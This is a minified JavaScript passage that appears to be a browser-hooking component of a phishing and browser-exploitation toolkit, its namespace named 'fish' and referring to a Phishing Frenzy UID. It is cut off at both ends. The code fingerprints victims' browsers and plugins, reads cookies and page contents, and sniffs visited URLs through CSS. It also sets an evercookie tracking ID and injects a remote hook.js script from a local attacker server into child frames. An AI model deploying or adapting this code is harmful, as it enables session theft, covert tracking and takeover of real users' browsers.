Performance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==25?true:false)},isC25iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==25?true:false)},isC26:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==26?true:false)},isC26iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==26?true:false)},isC27:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==27?true:false)},isC27iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==27?true:false)},isC28:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==28?true:false)},isC28iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==28?true:false)},isC29:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==29?true:false)},isC29iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==29?true:false)},isC30:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==30?true:false)},isC30iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==30?true:false)},isC31:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==31?true:false)},isC31iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==31?true:false)},isC32:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==32?true:false)},isC32iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==32?true:false)},isC33:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==33?true:false)},isC33iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==33?true:false)},isC34:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==34?true:false)},isC34iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==34?true:false)},isC35:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==35?true:false)},isC35iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==35?true:false)},isC36:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==36?true:false)},isC36iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==36?true:false)},isC37:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==37?true:false)},isC37iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==37?true:false)},isC38:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==38?true:false)},isC38iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==38?true:false)},isC39:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==39?true:false)},isC39iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==39?true:false)},isC:function(){return this.isC5()||this.isC6()||this.isC7()||this.isC8()||this.isC9()||this.isC10()||this.isC11()||this.isC12()||this.isC13()||this.isC14()||this.isC15()||this.isC16()||this.isC17()||this.isC18()||this.isC19()||this.isC19iOS()||this.isC20()||this.isC20iOS()||this.isC21()||this.isC21iOS()||this.isC22()||this.isC22iOS()||this.isC23()||this.isC23iOS()||this.isC24()||this.isC24iOS()||this.isC25()||this.isC25iOS()||this.isC26()||this.isC26iOS()||this.isC27()||this.isC27iOS()||this.isC28()||this.isC28iOS()||this.isC29()||this.isC29iOS()||this.isC30()||this.isC30iOS()||this.isC31()||this.isC31iOS()||this.isC32()||this.isC32iOS()||this.isC33()||this.isC33iOS()||this.isC34()||this.isC34iOS()||this.isC35()||this.isC35iOS()||this.isC36()||this.isC36iOS()||this.isC37()||this.isC37iOS()||this.isC38()||this.isC38iOS()||this.isC39()||this.isC39iOS()},isO9_52:function(){return!!window.opera&&window.navigator.userAgent.match(/Opera\/9\.5/)!=null},isO9_60:function(){return!!window.opera&&window.navigator.userAgent.match(/Opera\/9\.6/)!=null},isO10:function(){return!!window.opera&&window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./)!=null},isO11:function(){return!!window.opera&&window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./)!=null},isO12:function(){return!!window.opera&&window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./)!=null},isO:function(){return this.isO9_52()||this.isO9_60()||this.isO10()||this.isO11()||this.isO12()},capabilities:function(){var e={};var t=this.type();e["navigator.plugins"]=t.IE11||!t.IE;return e},type:function(){return{C5:this.isC5(),C6:this.isC6(),C7:this.isC7(),C8:this.isC8(),C9:this.isC9(),C10:this.isC10(),C11:this.isC11(),C12:this.isC12(),C13:this.isC13(),C14:this.isC14(),C15:this.isC15(),C16:this.isC16(),C17:this.isC17(),C18:this.isC18(),C19:this.isC19(),C19iOS:this.isC19iOS(),C20:this.isC20(),C20iOS:this.isC20iOS(),C21:this.isC21(),C21iOS:this.isC21iOS(),C22:this.isC22(),C22iOS:this.isC22iOS(),C23:this.isC23(),C23iOS:this.isC23iOS(),C24:this.isC24(),C24iOS:this.isC24iOS(),C25:this.isC25(),C25iOS:this.isC25iOS(),C26:this.isC26(),C26iOS:this.isC26iOS(),C27:this.isC27(),C27iOS:this.isC27iOS(),C28:this.isC28(),C28iOS:this.isC28iOS(),C29:this.isC29(),C29iOS:this.isC29iOS(),C30:this.isC30(),C30iOS:this.isC30iOS(),C31:this.isC31(),C31iOS:this.isC31iOS(),C32:this.isC32(),C32iOS:this.isC32iOS(),C33:this.isC33(),C33iOS:this.isC33iOS(),C34:this.isC34(),C34iOS:this.isC34iOS(),C35:this.isC35(),C35iOS:this.isC35iOS(),C36:this.isC36(),C36iOS:this.isC36iOS(),C37:this.isC37(),C37iOS:this.isC37iOS(),C38:this.isC38(),C38iOS:this.isC38iOS(),C39:this.isC39(),C39iOS:this.isC39iOS(),C:this.isC(),FF2:this.isFF2(),FF3:this.isFF3(),FF3_5:this.isFF3_5(),FF3_6:this.isFF3_6(),FF4:this.isFF4(),FF5:this.isFF5(),FF6:this.isFF6(),FF7:this.isFF7(),FF8:this.isFF8(),FF9:this.isFF9(),FF10:this.isFF10(),FF11:this.isFF11(),FF12:this.isFF12(),FF13:this.isFF13(),FF14:this.isFF14(),FF15:this.isFF15(),FF16:this.isFF16(),FF17:this.isFF17(),FF18:this.isFF18(),FF19:this.isFF19(),FF20:this.isFF20(),FF21:this.isFF21(),FF22:this.isFF22(),FF23:this.isFF23(),FF24:this.isFF24(),FF25:this.isFF25(),FF26:this.isFF26(),FF27:this.isFF27(),FF28:this.isFF28(),FF29:this.isFF29(),FF30:this.isFF30(),FF31:this.isFF31(),FF32:this.isFF32(),FF33:this.isFF33(),FF34:this.isFF34(),FF35:this.isFF35(),FF:this.isFF(),IE6:this.isIE6(),IE7:this.isIE7(),IE8:this.isIE8(),IE9:this.isIE9(),IE10:this.isIE10(),IE11:this.isIE11(),IE:this.isIE(),O9_52:this.isO9_52(),O9_60:this.isO9_60(),O10:this.isO10(),O11:this.isO11(),O12:this.isO12(),O:this.isO(),S4:this.isS4(),S5:this.isS5(),S6:this.isS6(),S7:this.isS7(),S8:this.isS8(),S:this.isS()}},getBrowserVersion:function(){if(this.isC5()){return"5"}if(this.isC6()){return"6"}if(this.isC7()){return"7"}if(this.isC8()){return"8"}if(this.isC9()){return"9"}if(this.isC10()){return"10"}if(this.isC11()){return"11"}if(this.isC12()){return"12"}if(this.isC13()){return"13"}if(this.isC14()){return"14"}if(this.isC15()){return"15"}if(this.isC16()){return"16"}if(this.isC17()){return"17"}if(this.isC18()){return"18"}if(this.isC19()){return"19"}if(this.isC19iOS()){return"19"}if(this.isC20()){return"20"}if(this.isC20iOS()){return"20"}if(this.isC21()){return"21"}if(this.isC21iOS()){return"21"}if(this.isC22()){return"22"}if(this.isC22iOS()){return"22"}if(this.isC23()){return"23"}if(this.isC23iOS()){return"23"}if(this.isC24()){return"24"}if(this.isC24iOS()){return"24"}if(this.isC25()){return"25"}if(this.isC25iOS()){return"25"}if(this.isC26()){return"26"}if(this.isC26iOS()){return"26"}if(this.isC27()){return"27"}if(this.isC27iOS()){return"27"}if(this.isC28()){return"28"}if(this.isC28iOS()){return"28"}if(this.isC29()){return"29"}if(this.isC29iOS()){return"29"}if(this.isC30()){return"30"}if(this.isC30iOS()){return"30"}if(this.isC31()){return"31"}if(this.isC31iOS()){return"31"}if(this.isC32()){return"32"}if(this.isC32iOS()){return"32"}if(this.isC33()){return"33"}if(this.isC33iOS()){return"33"}if(this.isC34()){return"34"}if(this.isC34iOS()){return"34"}if(this.isC35()){return"35"}if(this.isC35iOS()){return"35"}if(this.isC36()){return"36"}if(this.isC36iOS()){return"36"}if(this.isC37()){return"37"}if(this.isC37iOS()){return"37"}if(this.isC38()){return"38"}if(this.isC38iOS()){return"38"}if(this.isC39()){return"39"}if(this.isC39iOS()){return"39"}if(this.isFF2()){return"2"}if(this.isFF3()){return"3"}if(this.isFF3_5()){return"3.5"}if(this.isFF3_6()){return"3.6"}if(this.isFF4()){return"4"}if(this.isFF5()){return"5"}if(this.isFF6()){return"6"}if(this.isFF7()){return"7"}if(this.isFF8()){return"8"}if(this.isFF9()){return"9"}if(this.isFF10()){return"10"}if(this.isFF11()){return"11"}if(this.isFF12()){return"12"}if(this.isFF13()){return"13"}if(this.isFF14()){return"14"}if(this.isFF15()){return"15"}if(this.isFF16()){return"16"}if(this.isFF17()){return"17"}if(this.isFF18()){return"18"}if(this.isFF19()){return"19"}if(this.isFF20()){return"20"}if(this.isFF21()){return"21"}if(this.isFF22()){return"22"}if(this.isFF23()){return"23"}if(this.isFF24()){return"24"}if(this.isFF25()){return"25"}if(this.isFF26()){return"26"}if(this.isFF27()){return"27"}if(this.isFF28()){return"28"}if(this.isFF29()){return"29"}if(this.isFF30()){return"30"}if(this.isFF31()){return"31"}if(this.isFF32()){return"32"}if(this.isFF33()){return"33"}if(this.isFF34()){return"34"}if(this.isFF35()){return"35"}if(this.isIE6()){return"6"}if(this.isIE7()){return"7"}if(this.isIE8()){return"8"}if(this.isIE9()){return"9"}if(this.isIE10()){return"10"}if(this.isIE11()){return"11"}if(this.isS4()){return"4"}if(this.isS5()){return"5"}if(this.isS6()){return"6"}if(this.isS7()){return"7"}if(this.isS8()){return"8"}if(this.isO9_52()){return"9.5"}if(this.isO9_60()){return"9.6"}if(this.isO10()){return"10"}if(this.isO11()){return"11"}if(this.isO12()){return"12"}return"UNKNOWN"},getBrowserName:function(){if(this.isC()){return"C"}if(this.isFF()){return"FF"}if(this.isIE()){return"IE"}if(this.isO()){return"O"}if(this.isS()){return"S"}return"UNKNOWN"},hookChildFrames:function(){var e=document.createElement("script");e.type="text/javascript";e.src="http://127.0.0.1:3000/hook.js";for(var t=0;t<self.frames.length;t++){try{self.frames[t].document.body.appendChild(e);fish.debug("Hooked child frame [src:"+self.frames[t].window.location.href+"]")}catch(n){fish.debug("Hooking child frame failed: "+n.message)}}},hasFlash:function(){if(!this.type().IE){return navigator.mimeTypes&&navigator.mimeTypes["application/x-shockwave-flash"]}else{flash_versions=12;flash_installed=false;if(window.ActiveXObject){for(x=2;x<=flash_versions;x++){try{Flash=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+x+"');");if(Flash){flash_installed=true}}catch(e){fish.debug("Creating Flash ActiveX object failed: "+e.message)}}}return flash_installed}},hasQuickTime:function(){var e=false;if(this.capabilities()["navigator.plugins"]){for(i=0;i<navigator.plugins.length;i++){if(navigator.plugins[i].name.indexOf("QuickTime")>=0){e=true}}}else{try{var t=new ActiveXObject("QuickTime.QuickTime")}catch(n){fish.debug("Creating QuickTime ActiveX object failed: "+n.message)}if(t){e=true}}return e},hasRealPlayer:function(){var e=false;if(this.capabilities()["navigator.plugins"]){for(n=0;n<navigator.plugins.length;n++){if(navigator.plugins[n].name.indexOf("RealPlayer")>=0){e=true}}}else{var t=["RealPlayer","rmocx.RealPlayer G2 Control","rmocx.RealPlayer G2 Control.1","RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)","RealVideo.RealVideo(tm) ActiveX Control (32-bit)"];for(var n=0;n<t.length;n++){try{var r=new ActiveXObject(t[n])}catch(i){fish.debug("Creating RealPlayer ActiveX object failed: "+i.message)}if(r){e=true}}}return e},hasWMP:function(){var e=false;if(this.capabilities()["navigator.plugins"]){for(i=0;i<navigator.plugins.length;i++){if(navigator.plugins[i].name.indexOf("Windows Media Player")>=0){e=true}}}else{try{var t=new ActiveXObject("WMPlayer.OCX")}catch(n){fish.debug("Creating WMP ActiveX object failed: "+n.message)}if(t){e=true}}return e},hasVLC:function(){var e=false;if(!this.type().IE){for(i=0;i<navigator.plugins.length;i++){if(navigator.plugins[i].name.indexOf("VLC")>=0){e=true}}}else{try{control=new ActiveXObject("VideoLAN.VLCPlugin.2");e=true}catch(t){fish.debug("Creating VLC ActiveX object failed: "+t.message)}}return e},javaEnabled:function(){return false},hasPhonegap:function(){var e=false;try{if(!!device.phonegap||!!device.cordova)e=true;else e=false}catch(t){e=false}return e},hasCors:function(){if("withCredentials"in new XMLHttpRequest)return true;else if(typeof XDomainRequest!=="undefined")return true;else return false},hasJava:function(){return fish.browser.javaEnabled()},hasVBScript:function(){if(navigator.userAgent.indexOf("MSIE")!=-1&&navigator.userAgent.indexOf("Win")!=-1){return true}else{return false}},getPlugins:function(){var e;Array.prototype.unique=function(){var e={},t,n=this.length,r=[];for(t=0;t<n;t+=1)e[this[t]]=this[t];for(t in e)r.push(e[t]);return r};if(!this.capabilities()["navigator.plugins"])this.getPluginsIE();else if(navigator.plugins&&navigator.plugins.length>0){e=new Array;for(var t=0;t<navigator.plugins.length;t++){if(fish.browser.isFF())e[t]=navigator.plugins[t].name+"-v."+navigator.plugins[t].version;else e[t]=navigator.plugins[t].name}e=e.unique().toString()}else{e=new Array;var n={AdobeAcrobat:{control:"Adobe Acrobat","return":function(e){try{s=navigator.plugins["Adobe Acrobat"]["description"];return"Adobe Acrobat Version "+s}catch(t){}}},Flash:{control:"Shockwave Flash","return":function(e){try{s=navigator.plugins["Shockwave Flash"]["description"];return"Flash Player Version "+s}catch(t){}}},Google_Talk_Plugin_Accelerator:{control:"Google Talk Plugin Video Accelerator","return":function(e){try{s=navigator.plugins["Google Talk Plugin Video Accelerator"]["description"];return"Google Talk Plugin Video Accelerator Version "+s}catch(t){}}},Google_Talk_Plugin:{control:"Google Talk Plugin","return":function(e){try{s=navigator.plugins["Google Talk Plugin"]["description"];return"Google Talk Plugin Version "+s}catch(t){}}},Facebook_Video_Calling_Plugin:{control:"Facebook Video Calling Plugin","return":function(e){try{s=navigator.plugins["Facebook Video Calling Plugin"]["description"];return"Facebook Video Calling Plugin Version "+s}catch(t){}}},Google_Update:{control:"Google Update","return":function(e){try{s=navigator.plugins["Google Update"]["description"];return"Google Update Version "+s}catch(t){}}},Windows_Activation_Technologies:{control:"Windows Activation Technologies","return":function(e){try{s=navigator.plugins["Windows Activation Technologies"]["description"];return"Windows Activation Technologies Version "+s}catch(t){}}},VLC_Web_Plugin:{control:"VLC Web Plugin","return":function(e){try{s=navigator.plugins["VLC Web Plugin"]["description"];return"VLC Web Plugin Version "+s}catch(t){}}},Google_Earth_Plugin:{control:"Google Earth Plugin","return":function(e){try{s=navigator.plugins["Google Earth Plugin"]["description"];return"Google Earth Plugin Version "+s}catch(t){}}},"Silverlight_Plug-In":{control:"Silverlight Plug-In","return":function(e){try{s=navigator.plugins["Silverlight Plug-In"]["description"];return"Silverlight Plug-In Version "+s}catch(t){}}},FoxitReader_Plugin:{control:"FoxitReader Plugin","return":function(e){try{s=navigator.plugins["Foxit Reader Plugin for Mozilla"]["version"];return"FoxitReader Plugin Version "+s}catch(t){}}}};var r=0;for(var t in n){var i=n[t]["control"];try{var s=n[t]["return"](i);if(s){e[r]=s;r=r+1}}catch(o){}}}return e},getPluginsIE:function(){var e="";var t={AdobePDF6:{control:"PDF.PdfCtrl","return":function(e){s=e.getVersions().split(",");s=s[0].split("=");return"Acrobat Reader v"+parseFloat(s[1])}},AdobePDF7:{control:"AcroPDF.PDF","return":function(e){s=e.getVersions().split(",");s=s[0].split("=");return"Acrobat Reader v"+parseFloat(s[1])}},Flash:{control:"ShockwaveFlash.ShockwaveFlash","return":function(e){s=e.getVariable("$version").substring(4);return"Flash Player v"+s.replace(/,/g,".")}},Quicktime:{control:"QuickTime.QuickTime","return":function(e){return"QuickTime Player"}},RealPlayer:{control:"RealPlayer","return":function(e){s=e.getVersionInfo();return"RealPlayer v"+parseFloat(s)}},Shockwave:{control:"SWCtl.SWCtl","return":function(e){s=e.ShockwaveVersion("").split("r");return"Shockwave v"+parseFloat(s[0])}},WindowsMediaPlayer:{control:"WMPlayer.OCX","return":function(e){return"Windows Media Player v"+parseFloat(e.versionInfo)}},FoxitReaderPlugin:{control:"FoxitReader.FoxitReaderCtl.1","return":function(e){return"Foxit Reader Plugin v"+parseFloat(e.versionInfo)}}};if(window.ActiveXObject){var n=0;for(var r in t){var i=null;var s=null;try{i=new ActiveXObject(t[r]["control"])}catch(o){}if(i){if(n!=0)e+=", ";e+=t[r]["return"](i);n++}}}return e},getScreenSize:function(){return{width:window.screen.width,height:window.screen.height,colordepth:window.screen.colorDepth}},getWindowSize:function(){var e=0,t=0;if(typeof window.innerWidth=="number"){e=window.innerWidth;t=window.innerHeight}else if(document.documentElement&&(document.documentElement.clientWidth||document.documentElement.clientHeight)){e=document.documentElement.clientWidth;t=document.documentElement.clientHeight}else if(document.body&&(document.body.clientWidth||document.body.clientHeight)){e=document.body.clientWidth;t=document.body.clientHeight}return{width:e,height:t}},getDetails:function(){var e=new Array;var t=fish.browser.getBrowserName();var n=fish.browser.getBrowserVersion();var r=fish.browser.getBrowserReportedName();var i=fish.browser.getBrowserLanguage();var s=document.title?document.title:"Unknown";var o=document.location.href?document.location.href:"Unknown";var u=document.referrer?document.referrer:"Unknown";var a=document.location.hostname?document.location.hostname:"Unknown";switch(document.location.protocol){case"http:":var f="80";break;case"https:":var f="443";break;default:var f=""}var l=document.location.port?document.location.port:f;var c=fish.browser.getPlugins();var h=(new Date).toString();var p=fish.os.getName();var d=fish.os.getDefaultBrowser();var v=fish.hardware.getName();var m=fish.hardware.cpuType();var g=fish.hardware.isTouchEnabled()?"Yes":"No";var y=typeof navigator.platform!="undefined"&&navigator.platform!=""?navigator.platform:null;var b=JSON.stringify(fish.browser.type(),function(e,t){if(t==true)return t;else if(typeof t=="object")return t;else return});var w=fish.browser.getScreenSize();var E=fish.browser.getWindowSize();var S=fish.browser.hasVBScript()?"Yes":"No";var x=fish.browser.hasFlash()?"Yes":"No";var T=fish.browser.hasPhonegap()?"Yes":"No";var N=fish.browser.hasGoogleGears()?"Yes":"No";var C=fish.browser.hasWebSocket()?"Yes":"No";var k=fish.browser.hasWebRTC()?"Yes":"No";var L=fish.browser.hasActiveX()?"Yes":"No";var A=fish.browser.hasSilverlight()?"Yes":"No";var O=fish.browser.hasQuickTime()?"Yes":"No";var M=fish.browser.hasRealPlayer()?"Yes":"No";var _=fish.browser.hasWMP()?"Yes":"No";var D=fish.browser.hasFoxit()?"Yes":"No";try{var P=document.cookie;var H=fish.browser.cookie.hasSessionCookies("cookie")?"Yes":"No";var B=fish.browser.cookie.hasPersistentCookies("cookie")?"Yes":"No";if(P)e["Cookies"]=P;if(H)e["hasSessionCookies"]=H;if(B)e["hasPersistentCookies"]=B}catch(j){e["Cookies"]="Cookies can't be read. The hooked origin is most probably using HttpOnly.";e["hasSessionCookies"]="No";e["hasPersistentCookies"]="No"}if(t)e["BrowserName"]=t;if(n)e["BrowserVersion"]=n;if(r)e["BrowserReportedName"]=r;if(i)e["BrowserLanguage"]=i;if(s)e["PageTitle"]=s;if(o)e["PageURI"]=o;if(u)e["PageReferrer"]=u;if(a)e["HostName"]=a;if(l)e["HostPort"]=l;if(c)e["BrowserPlugins"]=c;if(p)e["OsName"]=p;if(d)e["DefaultBrowser"]=d;if(v)e["Hardware"]=v;if(m)e["CPU"]=m;if(g)e["TouchEnabled"]=g;if(h)e["DateStamp"]=h;if(y)e["BrowserPlatform"]=y;if(b)e["BrowserType"]=b;if(w)e["ScreenSize"]=w;if(E)e["WindowSize"]=E;if(S)e["VBScriptEnabled"]=S;if(x)e["HasFlash"]=x;if(T)e["HasPhonegap"]=T;if(C)e["HasWebSocket"]=C;if(N)e["HasGoogleGears"]=N;if(k)e["HasWebRTC"]=k;if(L)e["HasActiveX"]=L;if(A)e["HasSilverlight"]=A;if(O)e["HasQuickTime"]=O;if(M)e["HasRealPlayer"]=M;if(_)e["HasWMP"]=_;if(D)e["HasFoxit"]=D;var F="";if(F){var I="uid";var q="";var R=window.location.search.substring(1);var U=R.split("&");for(var z=0;z<U.length;z++){var W=U[z].split("=");if(W[0]==I){q=W[1];e["PhishingFrenzyUID"]=q;break}}}else{e["PhishingFrenzyUID"]="N/A"}return e},hasActiveX:function(){return!!window.ActiveXObject},hasWebRTC:function(){return!!window.mozRTCPeerConnection||!!window.webkitRTCPeerConnection},hasSilverlight:function(){var e=false;try{if(fish.browser.isIE()){var t=new ActiveXObject("AgControl.AgControl");e=true}else if(navigator.plugins["Silverlight Plug-In"]){e=true}}catch(n){e=false}return e},hasVisited:function(e){var t=new Array;var n=fish.dom.createInvisibleIframe();var r=n.contentDocument?n.contentDocument:n.contentWindow.document;r.open();r.write("<style>a:visited{width:0px !important;}</style>");r.close();e=e.split("\n");var i=0;for(var s in e){var o=e[s];if(o!=""||o!=null){var u=false;var a=r.createElement("a");a.href=o;r.body.appendChild(a);var f=null;a.currentStyle?f=a.currentStyle["width"]:f=r.defaultView.getComputedStyle(a,null).getPropertyValue("width");if(f=="0px"){u=true}t.push({url:o,visited:u});i++}}fish.dom.removeElement(n);if(t.length==0){return false}return t},hasWebSocket:function(){return!!window.WebSocket||!!window.MozWebSocket},hasGoogleGears:function(){var e=null;if(window.google&&google.gears)return true;if(typeof GearsFactory!="undefined"){e=new GearsFactory}else{try{e=new ActiveXObject("Gears.Factory");if(e.getBuildInfo().indexOf("ie_mobile")!=-1){e.privateSetGlobalObject(this)}}catch(t){if(typeof navigator.mimeTypes!="undefined"&&navigator.mimeTypes["application/x-googlegears"]){e=document.createElement("object");e.style.display="none";e.width=0;e.height=0;e.type="application/x-googlegears";document.documentElement.appendChild(e);if(e&&typeof e.create=="undefined")e=null}}}if(!e)return false;else return true},hasFoxit:function(){var e=false;try{if(fish.browser.isIE()){var t=new ActiveXObject("FoxitReader.FoxitReaderCtl.1");e=true}else if(navigator.plugins["Foxit Reader Plugin for Mozilla"]){e=true}}catch(n){e=false}return e},getPageHead:function(){var e;try{e=document.head.innerHTML.toString()}catch(t){}return e},getPageBody:function(){var e;try{e=document.body.innerHTML.toString()}catch(t){}return e},changeFavicon:function(e){var t=null;if(this.isC()){t=document.createElement("iframe");t.src="about:blank";t.style.display="none";document.body.appendChild(t)}var n=document.createElement("link"),r=document.getElementById("dynamic-favicon");n.id="dynamic-favicon";n.rel="shortcut icon";n.href=e;if(r)document.head.removeChild(r);document.head.appendChild(n);if(this.isC())t.src+=""},changePageTitle:function(e){document.title=e},getBrowserLanguage:function(){var e="Unknown";try{e=window.navigator.userLanguage||window.navigator.language}catch(t){}return e},getMaxConnections:function(e){var t=30;var n=5;var r="";if(e=="PER_DOMAIN")r="http://browserspy.dk/connections.php?img=1&random=";else r="http://<token>.browserspy.dk/connections.php?img=1&random=";var i=0;var s=0;var o=new Array;var u=$j.Deferred();for(var a=1;a<=t;a++){o[a]=$j.ajax({type:"get",dataType:true,url:r.replace("<token>",a)+Math.random(),data:"",timeout:n*1e3,complete:function(e,n){s++;if(n=="error"){i++}if(s>=t){u.resolveWith(i)}}})}return u.promise()}};fish.regCmp("fish.browser");fish.browser.cookie={setCookie:function(e,t,n,r,i,s){var o=new Date;o.setTime(o.getTime());if(n){n=n*1e3*60*60*24}var u=new Date(o.getTime()+n);document.cookie=e+"="+escape(t)+(n?";expires="+u.toGMTString():"")+(r?";path="+r:"")+(i?";domain="+i:"")+(s?";secure":"")},getCookie:function(e){var t=document.cookie.split(";");var n="";var r="";var s="";var o=false;for(i=0;i<t.length;i++){n=t[i].split("=");r=n[0].replace(/^\s+|\s+$/g,"");if(r==e){o=true;if(n.length>1){s=unescape(n[1].replace(/^\s+|\s+$/g,""))}return s;break}n=null;r=""}if(!o){return null}},deleteCookie:function(e,t,n){if(this.getCookie(e))document.cookie=e+"="+(t?";path="+t:"")+(n?";domain="+n:"")+";expires=Thu, 01-Jan-1970 00:00:01 GMT"},hasSessionCookies:function(e){var e=e||"cookie";if(e=="")e="cookie";this.setCookie(e,"none","","/","","");cookiesEnabled=this.getCookie(e)==null?false:true;this.deleteCookie(e,"/","");return cookiesEnabled},hasPersistentCookies:function(e){var e=e||"cookie";if(e=="")e="cookie";this.setCookie(e,"none",1,"/","","");cookiesEnabled=this.getCookie(e)==null?false:true;this.deleteCookie(e,"/","");return cookiesEnabled}};fish.regCmp("fish.browser.cookie");fish.browser.popup={blocker_enabled:function(){screenParams=fish.browser.getScreenSize();var e=window.open("/","windowName0","width=1, height=1, left="+screenParams.width+", top="+screenParams.height+", scrollbars, resizable");if(e==null||typeof e=="undefined"){return true}else{e.close();return false}}};fish.regCmp("fish.browser.popup");fish.session={hook_session_id_length:80,hook_session_id_chars:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",ec:new evercookie,fishhook:"fishHOOK",get_hook_session_id:function(){var e=this.ec.evercookie_cookie(fish.session.fishhook);if(typeof e=="undefined"){var e=this.ec.evercookie_userdata(fish.session.fishhook)}if(typeof e=="undefined"){var e=this.ec.evercookie_window(fish.session.fishhook)}if(typeof e=="undefined"||e==null){e=this.gen_hook_session_id();this.set_hook_session_id(e)}return e},set_hook_session_id:function(e){this.ec.evercookie_cookie(fish.session.fishhook,e);this.ec.evercookie_userdata(fish.session.fishhook,e);this.ec.evercookie_window(fish.session.fishhook,e)},gen_hook_session_id:function(){var e="";for(var t=0;t<this.hook_session_id_length;t++){var n=Math.floor(Math.random()*this.hook_session_id_chars.length);e+=this.hook_session_id_chars.charAt(n)}return e}};fish.regCmp("fish.session");fish.os={ua:navigator.userAgent,getDefaultBrowser:function(){var e="Unknown";try{var t=document.mimeType;if(t){if(t=="Safari Document")e="Safari";if(t=="Firefox HTML Document")e="Firefox";if(t=="Chrome HTML Document")e="Chrome";if(t=="HTML Document")e="Internet Explorer";if(t=="Opera Web Document")e="Opera"}}catch(n){fish.debug("[os] 